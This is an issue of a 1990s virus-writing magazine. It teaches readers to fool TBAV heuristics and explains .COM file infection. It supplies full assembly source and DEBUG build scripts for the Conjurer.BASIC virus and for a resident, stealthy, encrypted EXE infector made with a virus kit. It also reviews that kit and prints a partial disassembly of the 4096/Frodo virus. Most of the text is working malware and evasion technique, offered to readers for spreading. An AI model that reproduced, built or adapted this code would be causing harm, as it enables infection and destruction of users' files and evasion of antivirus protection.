------------------------------Immortal Virus Magazine------------------------- -----------------------------------Issue 95.1---------------------------------- -----------------------------TBAV fooling techiniques-------------------------- The heuristic scans we will discuss are: - F : Suspicious file-access - S : Search for .EXE / .COM files - D : Direct disk access - # : Encryption and/or debugger trap - G : Grabage instructions - E : Flexible entrypoint ------------------------------------------------------------------------------- - F : Suspicious file-access There are different ways to fool TBAV on this one. 1.) The easiest way is to add 10 or something at the MOVe instruction and then SUBstract 10: TBAV will think you use the original MOVe. e.g: MOV AH, 50h SUB AH, 10h ;50h will turn into 40h Dos fnc: Write INT 21h 2.) This is a bit tougher, you redirect int 21h to some other unused interrupt. There is no need to unlink the new interrupt. e.g: MOV AX, 3521h ;Get dos int address in ES:BX INT 21H PUSH ES ;DS == ES POP DS MOV AX, 2560h ;Int 60H will become int 21h INT 21h MOV AH, 40h ;Dos fnc: Write INT 60h ;The new interrupt ------------------------------------------------------------------------------- - S : Search for .EXE / .COM files There are again a few ways to fool TBAV on this one. 1.) Somewhere in your virus is a filespec (e.g. '*.COM'), just change the '*' into something else ('Z.COM') and when the function 3Fh or something is called change it to a '*' again, afterwards change it to a 'Z' again. e.g: MOV BYTE PTR [FSPC+BP],'*' MOV AX,3F00h INT 21h MOV BYTE PTR [FSPC+BP],'Z' FSPC DB 'Z.COM',0 2.) You can also use the first technique about hiding the 'F' flag. ------------------------------------------------------------------------------- - D : Direct disk access Once again there are a few ways to let TBAV eat his 'D' flag. 1.) Change the INT 26h realtime: Create a label or something and put an int 21h or something, and change it to int 26h in your virus. e.g. MOV BYTE PTR [I26L+1+BP],26h ;Change INT 21h to INT 26h I26L: INT 21h ;Here will be the INT 26h MOV BYTE PTR [I26L+1+BP],21h ;Change INT 26h to INT 21h 2.) You can also use the second technique about hiding the 'F' flag. ------------------------------------------------------------------------------- - # : Encryption and/or debugger trap Once again there are several ways to shit TBAV. 1.) For a debugger trap you can use the first techinique about the 'F' flag. 2.) Use an unlogic call stucture. First CALL the decryption routine, then JuMP to the main virus. e.g. CALL DC ;Call your decryption routine JMP ST ;JuMP to the start of your virus NOP ;To fool TBAV ST: . ;Put your virus here . . DC: RET ;Put the decryption routine here! ------------------------------------------------------------------------------- - G : Garbage instructions There's one thing to do to get rid of this flag. OPTIMIZE! e.g. You can turn turn two nops into two eXCHanGes: NOP NOP will be: XCHG AX,BX XCHG CX,AX or something like that. You can also put often used routines in a CALL routine (e.g. Get Time,etc) ------------------------------------------------------------------------------- - E : Flexible entry-point There are many ways to avoid this, the best one is to put this little routine at the beginning of your virus: XCHG AX,BX ;Avoid 'G' & 'E' flags XCHG CX,AX CALL DELTA DELTA: POP BP SUB BP, OFFSET DELTA Entrypoint will be in BP ------------------------------------------------------------------------------- By: [Hacking Hell]------------------------------Immortal Virus Magazine------------------------- -----------------------------------Issue 95.1---------------------------------- --------------------------The basics of a .COM infector------------------------ We'll begin with the search .COM routine of a virus. The best way is to to use function 4Eh & 4Fh. - Function 4Eh Find First file Inputs: It needs a DTA set. DS:DX = Filespec BX = Attribute Outputs: DTA + 1Eh = Filename + 0 byte - Function 4Fh Find next file Inputs: By function 4Eh or 4Fh pre-initiated DTA Outputs: DTA + 1Eh = Filename + 0 byte Now, the implementation technique. I think the best way is to make a four byte jump table and an original bytes table, the jump table exists out of an 0E9h byte, two 00h bytes and an identification byte (eg. DB 0E9h,00h,00h,'C'), in the original bytes table the first four bytes will be stored. First read the original bytes, store then in the org. bytes table, append then virus at the end, calculate the jump offset, place them in the jump table, write the jump table at the beginning of the victim file. - Function 3Dh Open file Inputs: AL = Mode ( 02h = Random access ) DS:DX = Filename ( eg. DTA + 1Eh ) Outputs: AX = File-handle ( eXCHanGe to BX for other functions ) - Function 3Fh Read from file Inputs: CX = Bytes to read DS:DX = Destination of read BX = File-handle - Function 42h Set file-pointer AL = Mode ( 00h = From SOF / 02h = From EOF) DX:CX = Offset in file (0:0 for SOF / EOF) - Function 40h Write into file CX = Bytes to write DS:DX = Offset of data to write BX = File-handle - Function 3Eh Close file BX = File-handle Now here follows the assembly source and a debug script of the Conjurer Basic virus, created by [Hacking Hell] & [Cyborg], it's 270 bytes large and a good example virus for the techniques you may have learned... -------------------------------------------------------------------------- ; Conjurer.BASIC virus... %OUT CoNJuReR.BASIC virus by [Hacking Hell] & [Cyborg] %OUT Appending non-descructive non-resident non-flagged virus. %OUT Features: %OUT - Anti trace meganism %OUT - 99% TBAV proof (almost no flags) %OUT - Traversal (DotDot technique) %OUT - Little message %OUT - 13% chance for a keyboard lock .model tiny .code ORG 100h ;COM file remember?!? dummy: db 0e9h,02h,00h ;The dummy host: jump to START db 'C' ;Already infected marker ret ;Exit from dummy start: push cx ;Some junk to fool TBAV pop bx mov ax,0fa01h ;Let's take down MSAV!!! mov dx,05945h int 16h call getdlt ;Nice way to get delta offset! realst: getdlt: pop bp sub bp, offset getdlt call encdec jmp codest nop ;TBAV eats '#' codest: lea si,[orgbts+bp] ;Restore first 4 bytes mov di,0100h movsw movsw push cs ;DS <==> CS pop ds lea dx,[eov+bp] ;Set DTA address mov ah,1ah int 21h mov ax,3501h ;Crash INT 1 sub ah,10h mov bx,0000h mov es,bx int 21h mov al,03h ;Crash INT 3 int 21h mov ah,2ch ;13% chance to lock keyboard! int 21h cmp dl, 0dh jg nolock lockkb: mov al,82h ;Keyboard lock! out 21h,al nolock: mov ah,2ch ;50% chance to print message! int 21h cmp dl,32h jl spread mov ah,09h ;Bingo! print message! lea dx, [bp+offset welcome] int 21h mov ah,00h ;Wait for a key! int 16h jmp spread welcome db 'CoNJuReR.BSC!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file? spread: mov byte ptr [infcnt+bp],0 spraed: mov ah,4eh ;Findfirst lea dx,[fspec+bp] ;Filespec=*.COM fnext: cmp byte ptr [infcnt+bp],5 je re_dta int 21h jc dotdot ;No files found call infect nextf: mov ah,4fh ;Find next file jmp fnext dotdot: lea dx,[offset dotspec+bp] mov ax,3b00h int 21h jnc spraed re_dta: mov ah,1ah ;Reset DTA mov dx,0080h int 21h mov di,0100h ;Return control to original file! push di ret fspec db '*.com',0 infcnt db 0 dotspec db '..',0 jmptbl db 0e9h,02h,00h,'C' orgbts: db 90h,90h,90h,90h eoe: infect: lea dx,[eov+1eh+bp] ;Open file mov ax,3d02h int 21h jc nextf ;Error opening file, next! xchg bx,ax mov cx,0004h ;Read first 4 bytes for check mov ah,3fh ; if already infected! lea dx,[orgbts+bp] int 21h cmp byte ptr [orgbts+bp+3],'C' ;Already infected jz shutit mov ax,4202h ;Goto eof sub cx,cx ;2 byte version of mov cx,0!! cwd ;1 byte version of mov dx,0!! int 21h sub ax,0003h ;Use our jmp table mov word ptr [bp+jmptbl+1],ax mov ah,40h ;Implend our viral code into victim mov cx,eov-start lea dx,[bp+start] int 21h mov ax,4200h ;Goto SOF sub cx,cx cwd int 21h mov ah,40h ;Write first four bytes over mov cx,0004h ; the original lea dx,[bp+jmptbl] int 21h inc byte ptr [infcnt+bp] shutit: mov ah,3eh ;Close victim int 21h ret encdec: ret ;No encryption support yet... eov: end dummy ------------------------------------------------------------------------- Now the DEBUG script for all of you who don't have an assembler! ------------------------------------------------------------------------- N CONJURER.COM E 0100 E9 02 00 43 C3 51 5B B8 01 FA BA 45 59 CD 16 E8 E 0110 00 00 5D 81 ED 12 01 E8 F8 00 EB 02 90 90 8D B6 E 0120 BA 01 BF 00 01 A5 A5 0E 1F 8D 96 13 02 B4 1A CD E 0130 21 B8 01 35 80 EC 10 BB 00 00 8E C3 CD 21 B0 03 E 0140 CD 21 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 21 B4 E 0150 2C CD 21 80 FA 32 7C 20 B4 09 8D 96 67 01 CD 21 E 0160 B4 00 CD 16 EB 12 90 43 6F 4E 4A 75 52 65 52 2E E 0170 42 53 43 21 07 0A 0D 24 C6 86 B2 01 00 B4 4E 8D E 0180 96 AC 01 80 BE B2 01 05 74 16 CD 21 72 07 E8 2D E 0190 00 B4 4F EB EE 8D 96 B3 01 B8 00 3B CD 21 73 DD E 01A0 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 2A 2E 63 6F E 01B0 6D 00 00 2E 2E 00 E9 02 00 43 90 90 90 90 8D 96 E 01C0 31 02 B8 02 3D CD 21 72 C8 93 B9 04 00 B4 3F 8D E 01D0 96 BA 01 CD 21 80 BE BD 01 43 74 31 B8 02 42 2B E 01E0 C9 99 CD 21 2D 03 00 89 86 B7 01 B4 40 B9 0E 01 E 01F0 8D 96 05 01 CD 21 B8 00 42 2B C9 99 CD 21 B4 40 E 0200 B9 04 00 8D 96 B6 01 CD 21 FE 86 B2 01 B4 3E CD E 0210 21 C3 C3 RCX 113 W Q ------------------------------------------------------------------------- ------------------------------------------------------------------------------ By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- -----------------------------------Virus Labs---------------------------------- In this section I will test a Virus Lab, this section will return every issue. In this issue: Biological Warfare v0.90á by MnemoniX Some features of this great package: + Resident + Encryption + (Extended) dir stealth + COM and/or EXE infections + Int 24h handler + Anti - Trace code + Traverse directory + Infections per run can be set to unlimited + Check for COM size + Check for COMMAND.COM + Random .EXE marker + .EXE overlay check Some weaknesses about Biological Warfare: - 'Log-in' password - Easy to detect - No 'configuration files' The viruses can be made resident, when they are, you can make it infect files on: Execution and/or opening of .COM / .EXE files. The encryption is pretty good. The anti-trace code works. There really is not much to say about this wonderfull package! Version 1.00 also has a polymorphic engine! Score: 8.7 Btw. The log-in password is Lo-Tek -------------------------------------------------------------------------- ; Here is an example of a virus created by Biological Warefare: ; Features: ; - TSR ; - EXE infector ; - Extended DIR stealth ; - Encrypted ; - Spread on execution of virus ;Have Fun! ; IVM-Vir.ASM : Download IVM, it's a good magazine (WHQ: +31 (0)77-547477) ; Created with Biological Warfare - Version 0.90á by MnemoniX PING equ 0EA93h PONG equ 080Eh STAMP equ 25 MARKER equ 04945h code segment org 0 assume cs:code,ds:code start: db 0E9h,3,0 ; to virus host: db 0CDh,20h,0 ; host program virus_begin: db 0BBh ; decryption module code_offset dw offset virus_code mov di,VIRUS_SIZE / 2 + 1 decrypt: db 02Eh,081h,2Fh ; SUB CS:[BX] cipher dw 0 inc bx inc bx dec di jnz decrypt virus_code: call $ + 3 ; BP is instruction ptr. pop bp sub bp,offset $ - 1 push ds es cli mov ax,PING ; mild anti-trace code push ax pop ax dec sp dec sp pop bx cmp ax,bx je no_trace hlt no_trace: sti in al,21h ; lock out & reopen keyboard xor al,2 out 21h,al xor al,2 out 21h,al mov ax,PING ; test for residency int 21h cmp dx,PONG je installed mov ax,es ; Get PSP dec ax mov ds,ax ; Get MCB sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 mov es,word ptr ds:[12h] push cs ; copy virus into memory pop ds xor di,di mov si,bp mov cx,(virus_end - start) / 2 + 1 rep movsw xor ax,ax ; capture interrupts mov ds,ax sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024 mov si,21h * 4 ; get original int 21 mov di,offset old_int_21 movsw movsw mov word ptr ds:[si - 4],offset new_int_21 mov ds:[si - 2],es ; and set new int 21 installed: call activate ; activation routine pop es ds ; restore segregs exe_exit: mov ax,ds ; fix up return address add ax,10h push ax add ax,cs:[bp + exe_cs] mov cs:[bp + return_cs],ax mov ax,cs:[bp + exe_ip] mov cs:[bp + return_ip],ax pop ax add ax,cs:[bp + exe_ss] ; restore stack cli mov ss,ax mov sp,cs:[bp + exe_sp] call fix_regs ; fix up registers sti db 0EAh ; back to host program return_ip dw 0 return_cs dw 0 exe_cs dw -16 ; orig CS:IP exe_ip dw 103h exe_sp dw -2 ; orig SS:SP exe_ss dw -16 fix_regs: xor ax,ax cwd xor bx,bx mov si,100h xor di,di xor bp,bp ret ; interrupt 21 handler int_21: pushf call dword ptr cs:[old_int_21] ret new_int_21: cmp ax,PING ; residency test je ping_pong cmp ah,11h ; directory stealth je dir_stealth cmp ah,12h je dir_stealth cmp ah,4Eh ; directory stealth je dir_stealth_2 cmp ah,4Fh je dir_stealth_2 cmp ax,4B00h ; execute program jne int_21_exit jmp execute int_21_exit: db 0EAh ; never mind ... old_int_21 dd 0 ping_pong: mov dx,PONG iret dir_stealth: call int_21 ; get dir entry test al,al js dir_stealth_done push ax bx es mov ah,2Fh int 21h cmp byte ptr es:[bx],-1 ; check for extended FCB jne no_ext_FCB add bx,7 no_ext_FCB: mov ax,es:[bx + 17h] ; check for infection marker and al,31 cmp al,STAMP jne dir_fixed sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 sbb word ptr es:[bx + 1Fh],0 dir_fixed: pop es bx ax dir_stealth_done: iret dir_stealth_2: pushf call dword ptr cs:[old_int_21] jc dir_stealth_done_2 check_infect2: push ax bx es mov ah,2Fh int 21h mov ax,es:[bx + 16h] and al,31 ; check timestamp cmp al,STAMP jne fixed_2 sub es:[bx + 1Ah],VIRUS_SIZE + 3 sbb word ptr es:[bx + 1Ch],0 fixed_2: pop es bx ax clc ; clear carry dir_stealth_done_2: retf 2 execute: push ax bx cx dx si di ds es xor ax,ax ; critical error handler mov es,ax ; routine - catch int 24 mov es:[24h * 4],offset int_24 mov es:[24h * 4 + 2],cs mov ax,4300h ; change attributes int 21h push cx dx ds xor cx,cx call set_attributes mov ax,3D02h ; open file int 21h jc cant_open xchg bx,ax push cs ; CS = DS pop ds mov ax,5700h ; save file date/time int 21h push cx dx mov ah,3Fh mov cx,28 mov dx,offset read_buffer int 21h cmp word ptr read_buffer,'ZM' ; .EXE? je infect_exe ; yes, infect as .EXE jmp dont_infect fix_date_time: pop dx cx and cl,-32 ; add time stamp or cl,STAMP ; for directory stealth mov ax,5701h ; restore file date/time int 21h close: pop ds dx cx ; restore attributes call set_attributes mov ah,3Eh ; close file int 21h cant_open: pop es ds di si dx cx bx ax jmp int_21_exit ; leave set_attributes: mov ax,4301h int 21h ret dont_infect: pop cx dx ; can't infect, skip jmp close infect_exe: cmp word ptr read_buffer[26],0 jne dont_infect ; overlay, don't infect cmp word ptr read_buffer[16],MARKER je dont_infect ; infected already les ax,dword ptr read_buffer[20] mov exe_cs,es ; CS mov exe_ip,ax ; IP les ax,dword ptr read_buffer[14] mov exe_ss,ax ; SS mov exe_sp,es ; SP mov word ptr read_buffer[16],MARKER mov ax,4202h ; to end of file cwd xor cx,cx int 21h push ax dx ; save file size push bx mov cl,12 ; calculate offsets for CS shl dx,cl ; and IP mov bx,ax mov cl,4 shr bx,cl add dx,bx and ax,15 pop bx sub dx,word ptr read_buffer[8] mov word ptr read_buffer[22],dx mov word ptr read_buffer[20],ax add dx,100 mov word ptr read_buffer[14],dx pop dx ax ; calculate prog size add ax,VIRUS_SIZE + 3 adc dx,0 mov cx,512 ; in pages div cx ; then save results inc ax mov word ptr read_buffer[2],dx mov word ptr read_buffer[4],ax mov dx,word ptr read_buffer[20] call encrypt_code ; encrypt virus mov ah,40h mov cx,VIRUS_SIZE + 3 mov dx,offset encrypt_buffer int 21h mov ax,4200h ; back to beginning cwd xor cx,cx int 21h mov ah,40h ; and fix up header mov cx,28 mov dx,offset read_buffer int 21h jmp fix_date_time ; done courtesy_of db '[BW]',0 signature db 'Download IVM, its a good magazine (WHQ: +31 (0)77-547477)',0 birthday db 'Happy birthday [Hacking Hell] !!',0Ah,0Dh,'$',0 activate: mov ah,2ah cmp dx,0B08h jne exit_act mov ah, 09h lea dx, [offset birthday+bp] int 21h ; Insert your routine here exit_act: ret encrypt_code: push ax cx push dx xor ah,ah ; get time for random number int 1Ah mov cipher,dx ; save encryption key pop cx add cx,virus_code - virus_begin mov code_offset,cx ; save code offset push cs ; ES = CS pop es mov si,offset virus_begin ; move decryption module mov di,offset encrypt_buffer mov cx,virus_code - virus_begin rep movsb mov cx,VIRUS_SIZE / 2 + 1 encrypt: lodsw ; encrypt virus code add ax,dx stosw loop encrypt pop cx ax ret int_24: mov al,3 ; int 24 handler iret virus_end: VIRUS_SIZE equ virus_end - virus_begin read_buffer db 28 dup (?) ; read buffer encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer end_heap: MEM_SIZE equ end_heap - start code ends end start -------------------------------------------------------------------------- N IVM-VIR.COM E 0100 E9 03 00 CD 20 00 BB 16 00 BF 80 01 2E 81 2F 00 E 0110 00 43 43 4F 75 F6 E8 00 00 5D 81 ED 19 00 1E 06 E 0120 FA B8 93 EA 50 58 4C 4C 5B 3B C3 74 01 F4 FB E4 E 0130 21 34 02 E6 21 34 02 E6 21 B8 93 EA CD 21 81 FA E 0140 0E 08 74 3A 8C C0 48 8E D8 81 2E 03 00 80 00 81 E 0150 2E 12 00 80 00 8E 06 12 00 0E 1F 33 FF 8B F5 B9 E 0160 83 01 F3 A5 33 C0 8E D8 83 2E 13 04 02 90 BE 84 E 0170 00 BF F2 00 A5 A5 C7 44 FC D0 00 8C 44 FE E8 43 E 0180 02 07 1F 8C D8 05 10 00 50 2E 03 86 B4 00 2E 89 E 0190 86 B2 00 2E 8B 86 B6 00 2E 89 86 B0 00 58 2E 03 E 01A0 86 BA 00 FA 8E D0 2E 8B A6 B8 00 E8 0E 00 FB EA E 01B0 00 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33 E 01C0 DB BE 00 01 33 FF 33 ED C3 9C 2E FF 1E F2 00 C3 E 01D0 3D 93 EA 74 21 80 FC 11 74 20 80 FC 12 74 1B 80 E 01E0 FC 4E 74 46 80 FC 4F 74 41 3D 00 4B 75 03 EB 65 E 01F0 90 EA 00 00 00 00 BA 0E 08 CF E8 CC FF 84 C0 78 E 0200 28 50 53 06 B4 2F CD 21 26 80 3F FF 75 03 83 C3 E 0210 07 26 8B 47 17 24 1F 3C 19 75 0B 26 81 6F 1D 01 E 0220 03 26 83 5F 1F 00 07 5B 58 CF 9C 2E FF 1E F2 00 E 0230 72 20 50 53 06 B4 2F CD 21 26 8B 47 16 24 1F 3C E 0240 19 75 0B 26 81 6F 1A 01 03 26 83 5F 1C 00 07 5B E 0250 58 F8 CA 02 00 50 53 51 52 56 57 1E 06 33 C0 8E E 0260 C0 26 C7 06 90 00 01 03 26 8C 0E 92 00 B8 00 43 E 0270 CD 21 51 52 1E 33 C9 E8 48 00 B8 02 3D CD 21 72 E 0280 36 93 0E 1F B8 00 57 CD 21 51 52 B4 3F B9 1C 00 E 0290 BA 04 03 CD 21 81 3E 04 03 4D 5A 74 2F EB 29 90 E 02A0 5A 59 80 E1 E0 80 C9 19 B8 01 57 CD 21 1F 5A 59 E 02B0 E8 0F 00 B4 3E CD 21 07 1F 5F 5E 5A 59 5B 58 E9 E 02C0 2F FF B8 01 43 CD 21 C3 59 5A EB E1 83 3E 1E 03 E 02D0 00 75 F5 81 3E 14 03 45 49 74 ED C4 06 18 03 8C E 02E0 06 B4 00 A3 B6 00 C4 06 12 03 A3 BA 00 8C 06 B8 E 02F0 00 C7 06 14 03 45 49 B8 02 42 99 33 C9 CD 21 50 E 0300 52 53 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F E 0310 00 5B 2B 16 0C 03 89 16 1A 03 A3 18 03 83 C2 64 E 0320 89 16 12 03 5A 58 05 01 03 90 83 D2 00 B9 00 02 E 0330 F7 F1 40 89 16 06 03 A3 08 03 8B 16 18 03 E8 94 E 0340 00 B4 40 B9 01 03 90 BA 20 03 CD 21 B8 00 42 99 E 0350 33 C9 CD 21 B4 40 B9 1C 00 BA 04 03 CD 21 E9 3F E 0360 FF 5B 42 57 5D 00 44 6F 77 6E 6C 6F 61 64 20 49 E 0370 56 4D 2C 20 69 74 73 20 61 20 67 6F 6F 64 20 6D E 0380 61 67 61 7A 69 6E 65 20 28 57 48 51 3A 20 2B 33 E 0390 31 20 28 30 29 37 37 2D 35 34 37 34 37 37 29 00 E 03A0 48 61 70 70 79 20 62 69 72 74 68 64 61 79 20 5B E 03B0 48 61 63 6B 69 6E 67 20 48 65 6C 6C 5D 20 21 21 E 03C0 0A 0D 24 00 B4 2A 81 FA 08 0B 75 08 B4 09 8D 96 E 03D0 A0 02 CD 21 C3 50 51 52 32 E4 CD 1A 89 16 0F 00 E 03E0 59 83 C1 10 89 0E 07 00 0E 07 BE 06 00 BF 20 03 E 03F0 B9 10 00 F3 A4 B9 80 01 AD 03 C2 AB E2 FA 59 58 E 0400 C3 B0 03 CF RCX 0304 W Q -------------------------------------------------------------------------- By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- --------------------------------Other Virus Mags------------------------------- In this issue: 40-HEX by Phalcon/Skism (Creators of PS-MPC). This magazine is really OK. It contains a lot of USEFULL information, a lot of virus sources / spotlights / hex-scripts, the creators put their own PS-MPC 0.90á in issue 8, that was really k00l! My main interrests in 40HEX are most of the time the virus sources, you can get some k00l ideas out of that. They use the normal english / american language instead of some funky written language. - The virus spotlights contain various information on a specific virus, just like our spotlights. - The virus sources / scripts are mostly direct compilable / debuggable, so you don't have to write your own stuff in it, that's really k00l! - 40-HEX 1 / 14 are available on our (and many other's) WHQ: Arrested Development: +31 77-547477 Written by: The FOXMan------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- ------------------------------Spotlight: 4096 / Frodo-------------------------- Isolated: January, 1990 Origin : Israel Type : Parasitic Memory-Resident .COM and .EXE infector Symptoms: A lot of cross-linked files, decrease of free memory, when not loaded increase of file-size. This huge virus was pretty smart for its time, the virus places itselve in (high-) memory and uses a basic tunneling technique, it infects both .COM and .EXE files, it infects on execution of .COM and .EXE files, the virus contains a bootsector, altough this will not be written in any way onto a disk (Patricia Hoffman says there is a bug in the virus!), if the boot- sector is written manually to the disk, a message will appear on loading: 'FRODO LIVES', On 22 september your system will hang (Or is this the bug?!?) this is the birthday of Bilbo and Frodo Braggin in The Lord Of The Rings by Tolkien (Maybe the author of 4096 was a very big fan!). Also the virus slowly crosslinks files on your harddisk, so the files will be permanently damaged! The virus is stealth, and when the virus is loaded into memory the filesize growth will not be seen! -------------------------------------------------------------------------- _4096 segment byte public assume cs:_4096, ds:_4096 ; 4096 Virus disassembly by Phalcon/Skism, used in IVM-95-1 ; Download IVM-95 it's a very good virus-magazine! ; Our WHQ: Arrested Development: +31 (0)77-547477 ; Parasitic memory resident .COM and .EXE infector. org 0 startvirus: db 0 jmp installvirus oldheader: ; original 1Ch bytes of the carrier file retn db 75h,02,44h,15h,46h,20h db 'Copyright Bourb%}i, I' endoldheader: EXEflag db 00h db 0FEh, 3Ah int1: ; locate the BIOS or DOS entry point for int 13h and int 21h push bp ; set up stack frame mov bp,sp push ax cmp word ptr [bp+4],0C000h ; in BIOS? jnb foundorigint ; nope, haven't found it mov ax,cs:DOSsegment ; in DOS? cmp [bp+4],ax jbe foundorigint exitint1: pop ax pop bp iret foundorigint: cmp byte ptr cs:tracemode,1 jz tracemode1 mov ax,[bp+4] ; save segment of entry point mov word ptr cs:origints+2,ax mov ax,[bp+2] ; save offset of entry point mov word ptr cs:origints,ax jb finishint1 pop ax pop bp mov ss,cs:savess ; restore the stack to its mov sp,cs:savesp ; original state mov al,cs:saveIMR ; Restore IMR out 21h,al ; (enable interrupts) jmp setvirusints finishint1: and word ptr [bp+6],0FEFFh ; turn off trap flag mov al,cs:saveIMR ; and restore IMR out 21h,al jmp short exitint1 tracemode1: dec byte ptr cs:instructionstotrace jnz exitint1 and word ptr [bp+6],0FEFFh ; turn off trap flag call saveregs call swapvirint21 ; restore original int lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers mov al,1 call setvect call restoreregs jmp short finishint1 getint: push ds push si xor si,si ; clear si mov ds,si ; ds->interrupt table xor ah,ah ; cbw would be better!? mov si,ax shl si,1 ; convert int # to offset in shl si,1 ; interrupt table (int # x 4) mov bx,[si] ; es:bx = interrupt vector mov es,[si+2] ; get old interrupt vector ; save 3 bytes if use les bx,[si] pop si pop ds retn installvirus: mov word ptr cs:stackptr,offset topstack mov cs:initialax,ax ; save initial value for ax mov ah,30h ; Get DOS version int 21h mov cs:DOSversion,al ; Save DOS version mov cs:carrierPSP,ds ; Save PSP segment mov ah,52h ; Get list of lists int 21h mov ax,es:[bx-2] ; segment of first MCB mov cs:DOSsegment,ax ; save it for use in int 1 mov es,ax ; es = segment first MCB mov ax,es:[1] ; Get owner of first MCB mov cs:ownerfirstMCB,ax ; save it push cs pop ds mov al,1 ; get single step vector call getint mov word ptr ds:oldint1,bx ; save it for later mov word ptr ds:oldint1+2,es; restoration mov al,21h ; get int 21h vector call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov byte ptr ds:tracemode,0 ; regular trace mode on mov dx,offset int1 ; set new int 1 handler mov al,1 call setvect pushf pop ax or ax,100h ; turn on trap flag push ax in al,21h ; Get old IMR mov ds:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al popf mov ah,52h ; Get list of lists pushf ; (for tracing purposes) call dword ptr ds:origints ; perform the tunnelling pushf pop ax and ax,0FEFFh ; turn off trap flag push ax popf mov al,ds:saveIMR ; reenable interrupts out 21h,al push ds lds dx,dword ptr ds:oldint1 mov al,1 ; restore int 1 to the call setvect ; original handler pop ds les di,dword ptr ds:origints; set up int 21h handlers mov word ptr ds:oldint21,di mov word ptr ds:oldint21+2,es mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr mov word ptr ds:int21store,offset otherint21 mov word ptr ds:int21store+2,cs call swapvirint21 ; activate virus in memory mov ax,4B00h mov ds:checkres,ah ; set resident flag to a ; dummy value mov dx,offset EXEflag+1 ; save EXE flag push word ptr ds:EXEflag int 21h ; installation check ; returns checkres=0 if ; installed pop word ptr ds:EXEflag ; restore EXE flag add word ptr es:[di-4],9 nop ; !? mov es,ds:carrierPSP ; restore ES and DS to their mov ds,ds:carrierPSP ; original values sub word ptr ds:[2],(topstack/10h)+1 ; alter top of memory in PSP mov bp,ds:[2] ; get segment mov dx,ds sub bp,dx mov ah,4Ah ; Find total available memory mov bx,0FFFFh int 21h mov ah,4Ah ; Allocate all available memory int 21h dec dx ; go to MCB of virus memory mov ds,dx cmp byte ptr ds:[0],'Z' ; is it the last block? je carrierislastMCB dec byte ptr cs:checkres ; mark need to install virus carrierislastMCB: cmp byte ptr cs:checkres,0 ; need to install? je playwithMCBs ; nope, go play with MCBs mov byte ptr ds:[0],'M' ; mark not end of chain playwithMCBs: mov ax,ds:[3] ; get memory size controlled mov bx,ax ; by the MCB sub ax,(topstack/10h)+1 ; calculate new size add dx,ax ; find high memory segment mov ds:[3],ax ; put new size in MCB inc dx ; one more for the MCB mov es,dx ; es->high memory MCB mov byte ptr es:[0],'Z' ; mark end of chain push word ptr cs:ownerfirstMCB ; get DOS PSP ID pop word ptr es:[1] ; make it the owner mov word ptr es:[3],160h ; fill in the size field inc dx mov es,dx ; es->high memory area push cs pop ds mov cx,(topstack/2) ; zopy 0-1600h to high memory mov si,offset topstack-2 mov di,si std ; zopy backwards rep movsw cld push es ; set up stack for jmp into mov ax,offset highentry ; virus code in high memory push ax mov es,cs:carrierPSP ; save current PSP segment mov ah,4Ah ; Alter memory allocation mov bx,bp ; bx = paragraphs int 21h retf ; jmp to virus code in high highentry: ; memory call swapvirint21 mov word ptr cs:int21store+2,cs call swapvirint21 push cs pop ds mov byte ptr ds:handlesleft,14h ; reset free handles count push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; clear handle table rep stosw mov ds:hideclustercountchange,al ; clear the flag mov ax,ds:carrierPSP mov es,ax ; es->PSP lds dx,dword ptr es:[0Ah] ; get terminate vector (why?) mov ds,ax ; ds->PSP add ax,10h ; adjust for PSP add word ptr cs:oldheader+16h,ax ; adjust jmp location cmp byte ptr cs:EXEflag,0 ; for PSP jne returntoEXE returntoCOM: sti mov ax,word ptr cs:oldheader; restore first 6 bytes of the mov ds:[100h],ax ; COM file mov ax,word ptr cs:oldheader+2 mov ds:[102h],ax mov ax,word ptr cs:oldheader+4 mov ds:[104h],ax push word ptr cs:carrierPSP ; Segment of carrier file's mov ax,100h ; PSP push ax mov ax,cs:initialax ; restore orig. value of ax retf ; return to original COM file returntoEXE: add word ptr cs:oldheader+0eh,ax mov ax,cs:initialax ; Restore ax mov ss,word ptr cs:oldheader+0eh ; Restore stack to mov sp,word ptr cs:oldheader+10h ; original value sti jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP ; entry point entervirus: cmp sp,100h ; COM file? ja dont_resetstack ; if so, skip this xor sp,sp ; new stack dont_resetstack: mov bp,ax call next ; calculate relativeness next: pop cx sub cx,offset next ; cx = delta offset mov ax,cs ; ax = segment mov bx,10h ; convert to offset mul bx add ax,cx adc dx,0 div bx ; convert to seg:off push ax ; set up stack for jmp mov ax,offset installvirus ; to installvirus push ax mov ax,bp retf ; go to installvirus int21commands: db 30h ; get DOS version dw offset getDOSversion db 23h ; FCB get file size dw offset FCBgetfilesize db 37h ; get device info dw offset get_device_info db 4Bh ; execute dw offset execute db 3Ch ; create file w/ handle dw offset createhandle db 3Dh ; open file dw offset openhandle db 3Eh ; close file dw offset handleclosefile db 0Fh ; FCB open file dw offset FCBopenfile db 14h ; sequential FCB read dw offset sequentialFCBread db 21h ; random FCB read dw offset randomFCBread db 27h ; random FCB block read dw offset randomFCBblockread db 11h ; FCB find first dw offset FCBfindfirstnext db 12h ; FCB find next dw offset FCBfindfirstnext db 4Eh ; filename find first dw offset filenamefindfirstnext db 4Fh ; filename find next dw offset filenamefindfirstnext db 3Fh ; read dw offset handleread db 40h ; write dw offset handlewrite db 42h ; move file pointer dw offset handlemovefilepointer db 57h ; get/set file time/date dw offset getsetfiletimedate db 48h ; allocate memory dw offset allocatememory endcommands: otherint21: cmp ax,4B00h ; execute? jnz notexecute 